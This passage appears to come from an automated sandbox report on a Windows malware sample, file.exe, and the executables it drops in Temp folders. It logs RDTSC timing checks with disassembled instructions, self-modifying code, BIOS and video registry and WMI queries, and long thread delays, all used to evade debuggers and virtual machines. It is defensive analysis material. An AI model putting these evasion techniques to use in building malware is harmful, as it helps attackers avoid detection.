push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50107C2 second address: 50107C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0212 second address: 4FB022F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB022F second address: 4FB0269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F52647CA127h 0x00000009 or ah, FFFFFFEEh 0x0000000c jmp 00007F52647CA129h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0269 second address: 4FB0314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F5264C7BAFDh 0x0000000f sbb esi, 75D19D26h 0x00000015 jmp 00007F5264C7BB01h 0x0000001a popfd 0x0000001b jmp 00007F5264C7BB00h 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov esi, 30D04C9Dh 0x00000028 movzx esi, bx 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e pushad 0x0000002f pushad 0x00000030 jmp 00007F5264C7BB01h 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 mov dx, si 0x0000003b popad 0x0000003c pop ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F5264C7BB05h 0x00000046 adc ecx, 79694946h 0x0000004c jmp 00007F5264C7BB01h 0x00000051 popfd 0x00000052 call 00007F5264C7BB00h 0x00000057 pop esi 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B95 second address: 5010B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010B9A second address: 5010BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5264C7BAFAh 0x00000008 mov ecx, 5943CD01h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 mov dx, si 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5264C7BAFDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BC9 second address: 5010BDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010BDE second address: 5010C0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5264C7BB01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 205F803Eh 0x00000012 call 00007F5264C7BAFFh 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010C0D second address: 5010C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA126h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F52647CA11Dh 0x00000014 adc ax, 0D26h 0x00000019 jmp 00007F52647CA121h 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F52647CA120h 0x00000025 or ah, FFFFFFC8h 0x00000028 jmp 00007F52647CA11Bh 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010C72 second address: 5010C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010C78 second address: 5010CA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52647CA11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F52647CA121h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010CA0 second address: 5010CF6 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+08h] 0x0000000a jmp 00007F5264C7BAFAh 0x0000000f call 00007F5264C7BAF9h 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F5264C7BAFEh 0x0000001b xor ch, FFFFFFB8h 0x0000001e jmp 00007F5264C7BAFBh 0x00000023 popfd 0x00000024 push esi 0x00000025 mov cx, di 0x00000028 pop edx 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e mov di, cx 0x00000031 popad 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov al, 08h 0x0000003b mov ecx, edi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010CF6 second address: 5010D5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52647CA120h 0x00000008 pushfd 0x00000009 jmp 00007F52647CA122h 0x0000000e adc cx, 1AA8h 0x00000013 jmp 00007F52647CA11Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F52647CA129h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F52647CA11Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010D8F second address: 5010D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010D93 second address: 5010D99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010D99 second address: 5010D9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010D9F second address: 5010DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010DA3 second address: 5010DA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 95EF0A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: AFEF1E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B0EA16 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B99414 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1FEF0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 39EF1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3AEA16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 439414 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Special instruction interceptor: First address: 112B1B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Special instruction interceptor: First address: 2C3A97 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe	Special instruction interceptor: First address: 2CACCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Special instruction interceptor: First address: F7780D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Special instruction interceptor: First address: F77789 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Special instruction interceptor: First address: 1116C7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Special instruction interceptor: First address: F77735 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe	Special instruction interceptor: First address: 11A5B71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Special instruction interceptor: First address: B25812 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Special instruction interceptor: First address: B028A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: AD3B72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: AD3AA0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: C79A94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: C786C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: C808E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Special instruction interceptor: First address: D09B6E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Memory allocated: 4CD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Memory allocated: 4F90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Memory allocated: 4CD0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05010CBD rdtsc

0_2_05010CBD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1243	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1135	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1308	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5887
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3390
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4343
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2013
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window / User API: threadDelayed 2416
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Window / User API: threadDelayed 7355

Source: C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7120	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep count: 1063 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8184	Thread sleep time: -2127063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep count: 300 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep time: -9000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228	Thread sleep count: 1243 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228	Thread sleep time: -2487243s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1200	Thread sleep count: 1326 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1200	Thread sleep time: -2653326s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3712	Thread sleep count: 1135 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3712	Thread sleep time: -2271135s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5428	Thread sleep count: 1308 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5428	Thread sleep time: -2617308s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe TID: 7496	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5956	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 744	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 4343 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep count: 46 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6324	Thread sleep count: 2013 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3500	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5296	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39830s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 5692	Thread sleep count: 2416 > 30
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39690s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 5692	Thread sleep count: 7355 > 30
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39565s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39440s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39315s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39190s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -39065s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38940s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38815s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38690s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38565s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38440s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38315s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38190s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -38065s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37940s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37815s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37690s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37536s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37408s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37283s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37158s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -37033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36908s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36783s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36658s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36533s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36408s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36283s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36158s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -36033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35908s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35783s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35658s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35533s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35408s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35283s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35158s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -35035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34914s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34643s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34518s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34393s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34268s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34143s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -34018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -33893s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -33768s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe TID: 3868	Thread sleep time: -33643s >= -30000s

Source: C:\Windows\SysWOW64\svchost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39830
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39690
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39565
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39440
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39315
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39190
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 39065
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38940
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38815
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38690
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38565
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38440
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38315
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38190
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 38065
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37940
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37815
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37690
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37536
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37408
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37283
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37158
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 37033
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36908
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36783
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36658
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36533
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36408
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36283
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36158
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 36033
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35908
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35783
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35658
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35533
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35408
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35283
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35158
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 35035
Source: C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe	Thread delayed: delay time: 34914
